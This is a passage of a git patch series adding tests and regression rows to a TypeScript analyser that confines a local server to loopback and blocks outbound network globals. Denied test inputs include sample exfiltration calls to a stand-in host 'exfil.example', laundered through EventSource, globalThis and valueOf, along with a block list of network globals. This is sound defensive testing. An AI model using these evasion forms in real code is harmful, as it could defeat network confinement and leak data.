allow('real host acceptance', 'listen with host and port constants', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => { console.log(HOST); }); }\nmain();`)),
];
+// ---------------------------------------------------------------------------
+// 19. loopback listen binding (PR #67 B1)
+// ---------------------------------------------------------------------------
+
+/** The real host replica with its loopback host literal replaced by `host`. */
+const replicaListeningOn = (host: string): string => REAL_HOST_SHAPE.replace(`'127.0.0.1'`, `'${host}'`);
+
+const LISTEN_BINDING: readonly RegressionRow[] = [
+ deny('loopback listen binding', 'wildcard IPv4 host', withServer(`server.listen(4317, '0.0.0.0');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'wildcard IPv6 host', withServer(`server.listen(4317, '::');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'port only', withServer(`server.listen(4317);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'no arguments', withServer(`server.listen();`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'IPv6 loopback literal is not the bound host', withServer(`server.listen(4317, '::1');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'localhost name is not the bound host', withServer(`server.listen(4317, 'localhost');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'ambient host binding', withServer(`declare const dynamicHost: string;\nserver.listen(4317, dynamicHost);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'mutable host binding', withServer(`let host = '127.0.0.1';\nserver.listen(4317, host);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'reassigned const-like host', withServer(`var host = '127.0.0.1';\nhost = '0.0.0.0';\nserver.listen(4317, host);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'wildcard host through a const', withServer(`const HOST = '0.0.0.0';\nserver.listen(4317, HOST);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'exported wildcard constants', withServer(`export const HOST = '0.0.0.0';\nexport const PORT = 4317;\nserver.listen(PORT, HOST);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'host from a runtime expression', withServer(`declare const env: Record;\nconst HOST = env['HOST'] ?? '127.0.0.1';\nserver.listen(4317, HOST);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'ambient port binding', withServer(`declare const port: number;\nserver.listen(port, '127.0.0.1');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'port above range', withServer(`server.listen(65536, '127.0.0.1');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'pipe path as port', withServer(`server.listen('/tmp/cockpit.sock', '127.0.0.1');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'options object form', withServer(`server.listen({ port: 4317, host: '127.0.0.1' });`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'spread arguments', withServer(`declare const args: [number, string];\nserver.listen(...args);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'spread callback', withServer(`declare const rest: [() => void];\nserver.listen(4317, '127.0.0.1', ...rest);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'backlog instead of callback', withServer(`server.listen(4317, '127.0.0.1', 511);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'ambient callback', withServer(`declare const onUp: () => void;\nserver.listen(4317, '127.0.0.1', onUp);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'fourth argument', withServer(`server.listen(4317, '127.0.0.1', () => {}, 511);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'computed listen key without host', withServer(`server['listen'](4317);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'listen on a call-result receiver', withServer(`server.close().listen(4317);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'listen on the createServer result', `${NS}\nhttp.createServer(${L}).listen(4317);`, ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'listen on a PARAM-derived server', withServer(`function setup(s: http.Server) { s.listen(4317); }\nsetup(server);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'listen on a confined factory result', withFactory(`createCockpitServer().listen(4317);`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'listen on a const alias of the server', withServer(`const a = server;\na.listen(4317, '0.0.0.0');`), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'wildcard binding inside the real host shape', replicaListeningOn('0.0.0.0'), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'unspecified IPv6 binding inside the real host shape', replicaListeningOn('::'), ['SERVER_LISTEN_BINDING']),
+ deny('loopback listen binding', 'misbound listen result still carries SERVER authority', withServer(`server.listen(4317).on('x', () => {});`), ['SERVER_LISTEN_BINDING', 'SERVER_MEMBER']),
+ allow('loopback listen binding', 'port and loopback host literals', withServer(`server.listen(4317, '127.0.0.1');`)),
+ allow('loopback listen binding', 'arrow callback', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)),
+ allow('loopback listen binding', 'function-expression callback', withServer(`server.listen(4317, '127.0.0.1', function () { console.log('up'); });`)),
+ allow('loopback listen binding', 'local function-declaration callback', withServer(`function onUp() { console.log('up'); }\nserver.listen(4317, '127.0.0.1', onUp);`)),
+ allow('loopback listen binding', 'const arrow callback', withServer(`const onUp = () => { console.log('up'); };\nserver.listen(4317, '127.0.0.1', onUp);`)),
+ allow('loopback listen binding', 'exported loopback constants (real host)', withServer(`export const HOST = '127.0.0.1';\nexport const PORT = 4317;\nserver.listen(PORT, HOST, () => {});`)),
+ allow('loopback listen binding', 'template literal host', withServer('server.listen(4317, `127.0.0.1`);')),
+ allow('loopback listen binding', 'wrapped arguments', withServer(`server.listen(4317 as number, ('127.0.0.1' as string));`)),
+ allow('loopback listen binding', 'computed listen key with loopback host', withServer(`server['listen'](4317, '127.0.0.1');`)),
+ allow('loopback listen binding', 'decimal-string port is the same numeric port', withServer(`server.listen('4317', '127.0.0.1');`)),
+ allow('loopback listen binding', 'numeric literal forms resolve to their decimal value', withServer(`server.listen(0x10dd, '127.0.0.1');`)),
+ allow('loopback listen binding', 'port zero (ephemeral, still loopback)', withServer(`server.listen(0, '127.0.0.1');`)),
+ allow('loopback listen binding', 'loopback listen on a call-result receiver', withServer(`server.close().listen(4317, '127.0.0.1');`)),
+ allow('loopback listen binding', 'loopback listen on a PARAM-derived server', withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(server);`)),
+ allow('loopback listen binding', 'loopback listen on the real host replica', REAL_HOST_SHAPE),
+];
+
+// ---------------------------------------------------------------------------
+// 20. server instantiation site bound (PR #67 B2)
+// ---------------------------------------------------------------------------
+
+const INSTANTIATION_SITES: readonly RegressionRow[] = [
+ deny('server instantiation site bound', 'two direct createServer sites', `${NS}\nconst a = http.createServer(${L});\nconst b = http.createServer(${L});\na.close();\nb.close();`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'two direct sites as expression statements', `${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'two named-import sites', `${NAMED}\nconst a = createServer(${L_PLAIN});\nconst b = createServer(${L_PLAIN});\na.close();\nb.close();`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'direct site plus confined-factory call', withFactory(`const a = createCockpitServer();\nconst b = http.createServer(${L});\na.close();\nb.close();`), ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'two confined-factory call sites', withFactory(`createCockpitServer().close();\ncreateCockpitServer().close();`), ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'two const-arrow factory call sites', `${NS}\nconst make = () => http.createServer(${L});\nconst a = make();\nconst b = make();\na.close();\nb.close();`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'aliased results from two distinct sites', withFactory(`const first = createCockpitServer();\nconst alias = first;\nconst second = createCockpitServer();\nalias.close();\nsecond.close();`), ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'spare site in real-host-shaped code', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => {}); const spare = createCockpitServer(); spare.close(); }\nmain();`), ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'spare direct site appended to the real host replica', `${REAL_HOST_SHAPE}\nhttp.createServer(${L}).close();`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'sites split across two non-factory functions', `${NS}\nfunction a() { http.createServer(${L}).close(); }\nfunction b() { http.createServer(${L}).close(); }\na();\nb();`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'nested site inside a factory listener', `${NS}\nfunction make() { return http.createServer((request, response) => { http.createServer(${L}).close(); response.end('x'); }); }\nmake().close();`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'factory-of-factory called twice', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\nouter().close();`), ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'factory call plus factory-of-factory call', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\ncreateCockpitServer().close();`), ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'three direct sites', `${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});\nhttp.createServer(${L});`, ['CREATE_SERVER_MULTIPLE']),
+ deny('server instantiation site bound', 'exhaustion still fails closed before the site bound', `${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }),
+ allow('server instantiation site bound', 'one direct site', withServer(`server.close();`)),
+ allow('server instantiation site bound', 'confined factory with one external call site', withFactory(`createCockpitServer().close();`)),
+ allow('server instantiation site bound', 'unused confined factory plus one direct site', withFactory(`http.createServer(${L}).close();`)),
+ allow('server instantiation site bound', 'alias-returning factories add no site', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().close();`)),
+ allow('server instantiation site bound', 'factory with multiple internal returns is one site per call', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).close();`),
+ allow('server instantiation site bound', 'factory-of-factory called once', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();`)),
+ allow('server instantiation site bound', 'factory instantiating through a const then returning it', `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`),
+ allow('server instantiation site bound', 'real host replica has one site', REAL_HOST_SHAPE),
+ outside('server instantiation site bound', 'runtime call multiplicity of one static site', `${NS}\nfunction boot() { http.createServer(${L}).close(); }\nboot();\nboot();`),
+ outside('server instantiation site bound', 'loop around one static site', `${NS}\nfor (let i = 0; i < 2; i += 1) { http.createServer(${L}).close(); }`),
+];
+
// ---------------------------------------------------------------------------
// Outside the declared boundary (documented, terminate-only)
// ---------------------------------------------------------------------------
@@ -1015,6 +1106,8 @@ export const D3_REGRESSION_MATRIX: readonly RegressionRow[] = [
...FIXPOINT,
...EXTRA_PARAMETERS,
...REAL_HOST,
+ ...LISTEN_BINDING,
+ ...INSTANTIATION_SITES,
...OUTSIDE_BOUNDARY,
];
From 15f83e88961f20058ad6057617d0bbd58c5db48a Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 05:19:53 +0200
Subject: [PATCH 06/20] fix(cockpit): close open Codex findings on network
policy
---
tests/cockpit-host/d3-network-policy.test.ts | 90 ++++++++++++++++++-
.../cockpit-host/support/d3-network-policy.ts | 50 +++++++----
.../support/d3-regression-matrix.ts | 22 +++++
3 files changed, 146 insertions(+), 16 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 08f0de0..9212a74 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -12,6 +12,7 @@ import {
isValueRead,
isWriteTarget,
LOOPBACK_HOST,
+ NETWORK_GLOBAL_NAMES,
POLICY_KEY_NAMES,
PORT_MAX,
STATIC_KEY_CEILING,
@@ -809,7 +810,7 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
expect(occurrences(detector, 'const memberCallOf = ')).toBe(1);
expect(occurrences(detector, 'memberCallOf(parent)')).toBe(1);
expect(occurrences(detector, 'inheritingReceiverOf(ctx, ')).toBe(1);
- for (const forbidden of ['valueOf', 'toString', 'EventSource', 'receiverPreserving', 'RETURNS_THIS']) {
+ for (const forbidden of ['valueOf', 'toString', 'receiverPreserving', 'RETURNS_THIS']) {
expect(occurrences(detector, forbidden), forbidden).toBe(0);
}
expect(POLICY_KEY_NAMES).not.toContain('valueOf');
@@ -991,6 +992,93 @@ describe('D3 network policy server instantiation site bound (PR #67 B2)', () =>
});
});
+// ---------------------------------------------------------------------------
+// Codex review closure: EventSource network global, runtime shadows (PR #67)
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy closes the open Codex findings on PR #67', () => {
+ const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+
+ it('P1: EventSource is a network global on the supported runtime, blocked like fetch and WebSocket', () => {
+ expect([...NETWORK_GLOBAL_NAMES].sort()).toEqual(['EventSource', 'WebSocket', 'fetch']);
+ expect(STATIC_KEY_CEILING).toBe('createServer'.length);
+ for (const [source, reason] of [
+ [`new EventSource('https://exfil.example/');`, 'FREE_GLOBAL_NETWORK'],
+ [`const E = EventSource;`, 'FREE_GLOBAL_NETWORK'],
+ [`new globalThis.EventSource('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`new window['EventSource']('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`const { EventSource: E } = globalThis;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]);
+ expect(result.findings, source).toHaveLength(1);
+ }
+ for (const source of [`class EventSource {}\nnew EventSource();`, `let es: EventSource | null = null;\nes;`, `const o = { EventSource: 1 };\no.EventSource;`]) {
+ expect(analyzeNetworkPolicy(source).reasons, source).toEqual([]);
+ }
+ });
+
+ it('P2: a named function expression binds its name inside its own body at runtime', () => {
+ for (const source of [
+ `const f = function fetch() { return fetch; };\nf();`,
+ `const open = function WebSocket(url: string) { return url ? WebSocket : null; };\nopen('x');`,
+ `use(function EventSource() { return new EventSource(); });`,
+ ]) {
+ expect(analyzeNetworkPolicy(source).reasons, source).toEqual([]);
+ }
+ const outside = analyzeNetworkPolicy(`const f = function fetch() { return 1; };\nfetch('x');`);
+ expect(outside.reasons).toEqual(['FREE_GLOBAL_NETWORK']);
+ expect(outside.findings).toHaveLength(1);
+ });
+
+ it('P2: a private import-equals alias of a value is a runtime binding; an alias of a type stays erased', () => {
+ for (const source of [
+ `import * as Local from './x.js';\nimport fetch = Local.f;\nfetch('x');`,
+ `namespace Local {\n export const f = (url: string) => url;\n}\nimport fetch = Local.f;\nfetch('x');`,
+ `import { f } from './x.js';\nimport fetch = f;\nfetch('x');`,
+ `namespace Local {\n export const f = 1;\n}\nimport g = Local.f;\nimport fetch = g;\nfetch;`,
+ `namespace Local {\n export const x = 1;\n}\nimport fetch = Local;\nfetch.x;`,
+ `namespace Local {\n export const f = 1;\n}\nnamespace fetch {\n import f = Local.f;\n export const g = f;\n}\nfetch.g;`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ }
+ for (const source of [
+ `namespace Local {\n export type f = string;\n}\nimport fetch = Local.f;\nfetch;`,
+ `import type { f } from './x.js';\nimport fetch = f;\nfetch;`,
+ `namespace Local {\n export type T = string;\n}\nimport fetch = Local;\nfetch;`,
+ `namespace Local {\n export type T = string;\n}\nnamespace fetch {\n import T = Local.T;\n}\nfetch;`,
+ `import type fetch = require('./local.js');\nfetch('x');`,
+ `import fetch = fetch;\nfetch;`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['FREE_GLOBAL_NETWORK']);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ });
+
+ it('P1 (already structural): fluent privileged results, valueOf laundering and the server bound stay denied', () => {
+ const fluent = analyzeNetworkPolicy(withServer(`export const leaked = server.listen(4317, '127.0.0.1');\nleaked.on('connection', (socket) => { socket.write('x'); });`));
+ // The export is the denial; an exported binding is unconfined and carries no further authority to check.
+ expect(fluent.reasons, describeFindings(fluent)).toEqual(['SERVER_EXPORT']);
+ const fluentResponse = analyzeNetworkPolicy(`${NS}\nhttp.createServer((request, response) => { response.setHeader('a', 'b').socket; });`);
+ expect(fluentResponse.reasons, describeFindings(fluentResponse)).toEqual(['RESPONSE_MEMBER']);
+ const laundered = analyzeNetworkPolicy(`const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`);
+ expect(laundered.reasons, describeFindings(laundered)).toEqual(['GLOBAL_RECEIVER_ESCAPE']);
+ const twice = analyzeNetworkPolicy(`${NS}\nfunction make() { return http.createServer(${L}); }\nconst a = make();\nconst b = make();\na.listen(4317, '127.0.0.1');\nb.listen(4318, '0.0.0.0');`);
+ expect(twice.reasons, describeFindings(twice)).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']);
+ });
+
+ it('is structural: one runtime-shadow predicate, threaded through the single symbol-resolution path', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function isRuntimeShadowed(')).toBe(1);
+ expect(occurrences(detector, 'isRuntimeShadowed(ctx.checker, ')).toBe(1);
+ expect(occurrences(detector, 'function isRuntimeImportEquals(')).toBe(1);
+ expect(occurrences(detector, 'ts.isFunctionExpression(declaration)')).toBe(1);
+ expect(occurrences(detector, 'isValueAliasDeclaration')).toBe(0);
+ });
+});
+
// ---------------------------------------------------------------------------
// Real host
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index c93cfe7..95facbc 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -110,7 +110,8 @@ export type StaticKey =
// ---------------------------------------------------------------------------
export const HTTP_MODULE_SPECIFIERS: ReadonlySet = new Set(['node:http', 'http']);
-export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebSocket']);
+/** Global outbound-network capabilities of the supported Node runtime: HTTP, WebSocket and server-sent events. */
+export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebSocket', 'EventSource']);
export const GLOBAL_RECEIVER_NAMES: ReadonlySet = new Set(['globalThis', 'window', 'self', 'global']);
const CREATE_SERVER = 'createServer';
const SERVER_LISTEN = 'listen';
@@ -412,12 +413,14 @@ const isPlainConst = (declaration: ts.VariableDeclaration): boolean => {
};
/** A declaration that produces a runtime binding (shadows a global at runtime). */
-function isRuntimeDeclaration(declaration: ts.Declaration): boolean {
+function isRuntimeDeclaration(checker: ts.TypeChecker, declaration: ts.Declaration, visiting: Set): boolean {
if (isAmbient(declaration)) return false;
if (ts.isVariableDeclaration(declaration) || ts.isBindingElement(declaration) || ts.isParameter(declaration)) {
return true;
}
if (ts.isFunctionDeclaration(declaration)) return declaration.body !== undefined;
+ // A named function expression binds its name inside its own body at runtime.
+ if (ts.isFunctionExpression(declaration)) return true;
if (ts.isClassDeclaration(declaration) || ts.isClassExpression(declaration)) return true;
if (ts.isImportClause(declaration)) return !isTypeOnlyImportClause(declaration);
if (ts.isNamespaceImport(declaration)) return !isTypeOnlyImportClause(declaration.parent);
@@ -427,20 +430,32 @@ function isRuntimeDeclaration(declaration: ts.Declaration): boolean {
if (ts.isEnumDeclaration(declaration)) {
return (ts.getCombinedModifierFlags(declaration) & ts.ModifierFlags.Const) === 0;
}
- if (ts.isModuleDeclaration(declaration)) return isInstantiatedNamespace(declaration);
- if (ts.isImportEqualsDeclaration(declaration)) return isRuntimeImportEquals(declaration);
+ if (ts.isModuleDeclaration(declaration)) return isInstantiatedNamespace(checker, declaration, visiting);
+ if (ts.isImportEqualsDeclaration(declaration)) return isRuntimeImportEquals(checker, declaration, visiting);
return false;
}
/**
* THE runtime import-equals predicate. A non-type-only `import x = ...` is a
- * runtime alias when it references an external module (`require(...)`) or is
+ * runtime alias when it references an external module (`require(...)`), is
* exported — the binder's own rule for what instantiates an enclosing namespace
- * (`export import get = Local.get` emits `fetch.get = Local.get`). A type-only or
- * private entity alias is erased.
+ * (`export import get = Local.get` emits `fetch.get = Local.get`) — or is a
+ * private entity alias whose target is a value: an entity that resolves to a
+ * runtime declaration, or one this single-file program cannot resolve at all
+ * (an unresolved target is emitted as a value, exactly as `tsc` does). A
+ * type-only alias, or a private alias of a type-only entity, is erased.
*/
-const isRuntimeImportEquals = (declaration: ts.ImportEqualsDeclaration): boolean =>
- !declaration.isTypeOnly && (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration));
+function isRuntimeImportEquals(
+ checker: ts.TypeChecker,
+ declaration: ts.ImportEqualsDeclaration,
+ visiting: Set,
+): boolean {
+ if (declaration.isTypeOnly) return false;
+ if (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration)) return true;
+ const target = valueSymbolOf(checker, declaration.moduleReference);
+ if (target?.declarations === undefined || target.declarations.length === 0) return true;
+ return isRuntimeShadowed(checker, target, visiting);
+}
/**
* A non-ambient `namespace` produces a runtime binding only when it is
@@ -448,22 +463,27 @@ const isRuntimeImportEquals = (declaration: ts.ImportEqualsDeclaration): boolean
* a variable, a bodied function, a class, or a runtime enum. A namespace that
* holds only types is erased and shadows nothing at runtime.
*/
-function isInstantiatedNamespace(declaration: ts.ModuleDeclaration): boolean {
+function isInstantiatedNamespace(checker: ts.TypeChecker, declaration: ts.ModuleDeclaration, visiting: Set): boolean {
if (!ts.isIdentifier(declaration.name) || declaration.body === undefined) return false;
- if (ts.isModuleDeclaration(declaration.body)) return isInstantiatedNamespace(declaration.body);
+ if (ts.isModuleDeclaration(declaration.body)) return isInstantiatedNamespace(checker, declaration.body, visiting);
if (!ts.isModuleBlock(declaration.body)) return false;
return declaration.body.statements.some((statement) => {
if (isAmbient(statement)) return false;
if (ts.isVariableStatement(statement) || ts.isClassDeclaration(statement)) return true;
if (ts.isFunctionDeclaration(statement)) return statement.body !== undefined;
if (ts.isEnumDeclaration(statement)) return (ts.getCombinedModifierFlags(statement) & ts.ModifierFlags.Const) === 0;
- if (ts.isModuleDeclaration(statement)) return isInstantiatedNamespace(statement);
- if (ts.isImportEqualsDeclaration(statement)) return isRuntimeImportEquals(statement);
+ if (ts.isModuleDeclaration(statement)) return isInstantiatedNamespace(checker, statement, visiting);
+ if (ts.isImportEqualsDeclaration(statement)) return isRuntimeImportEquals(checker, statement, visiting);
return false;
});
}
-const isRuntimeShadowed = (symbol: ts.Symbol): boolean => (symbol.declarations ?? []).some(isRuntimeDeclaration);
+/** Whether a symbol has any runtime declaration; `visiting` bounds alias cycles (a cyclic alias is erased). */
+function isRuntimeShadowed(checker: ts.TypeChecker, symbol: ts.Symbol, visiting: Set = new Set()): boolean {
+ if (visiting.has(symbol)) return false;
+ visiting.add(symbol);
+ return (symbol.declarations ?? []).some((declaration) => isRuntimeDeclaration(checker, declaration, visiting));
+}
const writeCount = (ctx: Context, symbol: ts.Symbol): number => ctx.writeCounts.get(symbol) ?? 0;
@@ -1282,7 +1302,7 @@ function classify(ctx: Context): void {
for (const node of ctx.thisExpressions) deny(ctx, 'THIS_EXPRESSION', node);
for (const id of ctx.unboundValueReads) checkFreeGlobal(ctx, id);
for (const [symbol, reads] of ctx.valueReads) {
- if (!isRuntimeShadowed(symbol)) {
+ if (!isRuntimeShadowed(ctx.checker, symbol)) {
for (const id of reads) checkFreeGlobal(ctx, id);
}
if (ctx.httpNamespaces.has(symbol)) for (const id of reads) checkHttpNamespaceUse(ctx, id);
diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts
index 7ca7b70..adb97c3 100644
--- a/tests/cockpit-host/support/d3-regression-matrix.ts
+++ b/tests/cockpit-host/support/d3-regression-matrix.ts
@@ -287,6 +287,26 @@ const FREE_GLOBAL: readonly RegressionRow[] = [
deny('free-global identity', 'type-only namespace is erased at runtime', `namespace fetch {\n export type T = string;\n export interface I { x: number }\n}\nfetch;`, ['FREE_GLOBAL_NETWORK']),
deny('free-global identity', 'type-only import-equals is erased at runtime', `import type fetch = require('./local.js');\nfetch('x');`, ['FREE_GLOBAL_NETWORK']),
allow('free-global identity', 'fetch as a property key and member name', `const o = { fetch: 1 };\no.fetch;`),
+ deny('free-global identity', 'EventSource constructed', `new EventSource('https://exfil.example/');`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'EventSource aliased into a const', `const E = EventSource;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'globalThis.EventSource constructed', `new globalThis.EventSource('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'EventSource destructured from globalThis', `const { EventSource: E } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'self["EventSource"] static element key', `new self['EventSource']('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ allow('free-global identity', 'class shadow of EventSource', `class EventSource {}\nnew EventSource();`),
+ allow('free-global identity', 'EventSource in a type position', `let es: EventSource | null = null;\nes;`),
+ allow('free-global identity', 'named function-expression shadow of fetch inside its own body', `const f = function fetch() { return fetch; };\nf();`),
+ allow('free-global identity', 'named function-expression shadow of WebSocket inside its own body', `const open = function WebSocket(url: string) { return url ? WebSocket : null; };\nopen('x');`),
+ deny('free-global identity', 'named function-expression name does not bind outside its body', `const f = function fetch() { return 1; };\nfetch('x');`, ['FREE_GLOBAL_NETWORK']),
+ allow('free-global identity', 'private value import-equals alias of an unresolved module member', `import * as Local from './x.js';\nimport fetch = Local.f;\nfetch('x');`),
+ allow('free-global identity', 'private value import-equals alias of an instantiated namespace member', `namespace Local {\n export const f = (url: string) => url;\n}\nimport fetch = Local.f;\nfetch('x');`),
+ allow('free-global identity', 'private import-equals alias of a value import', `import { f } from './x.js';\nimport fetch = f;\nfetch('x');`),
+ allow('free-global identity', 'private import-equals alias chain of values', `namespace Local {\n export const f = 1;\n}\nimport g = Local.f;\nimport fetch = g;\nfetch;`),
+ allow('free-global identity', 'private import-equals alias of an instantiated namespace', `namespace Local {\n export const x = 1;\n}\nimport fetch = Local;\nfetch.x;`),
+ deny('free-global identity', 'private import-equals alias of a type is erased', `namespace Local {\n export type f = string;\n}\nimport fetch = Local.f;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'private import-equals alias of a type-only import is erased', `import type { f } from './x.js';\nimport fetch = f;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'private import-equals alias of an uninstantiated namespace is erased', `namespace Local {\n export type T = string;\n}\nimport fetch = Local;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'circular private import-equals alias fails closed', `import fetch = fetch;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'Codex P1 witness: valueOf-laundered global receiver', `const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_ESCAPE']),
allow('free-global identity', 'WebSocket in a type position', `let ws: WebSocket | null = null;\nws;`),
allow('free-global identity', 'fetch as a label', `fetch: for (;;) { break fetch; }`),
allow('free-global identity', 'harmless global member read', `globalThis.console.log('x');`),
@@ -922,6 +942,7 @@ const EXPORT: readonly RegressionRow[] = [
deny('export confinement', 'exported const alias of server', withServer(`export const alias = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
// PR #67 F2: exporting an allowed member call result exports the receiver's authority.
deny('export confinement', 'export const leaked = server.listen(...) (PR #67 F2)', withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']),
+ deny('export confinement', 'Codex P1 witness: exported fluent listen result subscribed to connection', withServer(`export const leaked = server.listen(4317, '127.0.0.1');\nleaked.on('connection', (socket) => { socket.write('x'); });`), ['SERVER_EXPORT']),
deny('export confinement', 'export default server.listen(...)', withServer(`export default server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']),
deny('export confinement', 'export of a const alias of a listen result', withServer(`const leaked = server.listen(4317, '127.0.0.1');\nexport { leaked };`), ['SERVER_EXPORT']),
allow('export confinement', 'export function factory', withFactory(``)),
@@ -1070,6 +1091,7 @@ const INSTANTIATION_SITES: readonly RegressionRow[] = [
allow('server instantiation site bound', 'factory-of-factory called once', withFactory(`function outer() { return createCockpitServer(); }\nouter().close();`)),
allow('server instantiation site bound', 'factory instantiating through a const then returning it', `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`),
allow('server instantiation site bound', 'real host replica has one site', REAL_HOST_SHAPE),
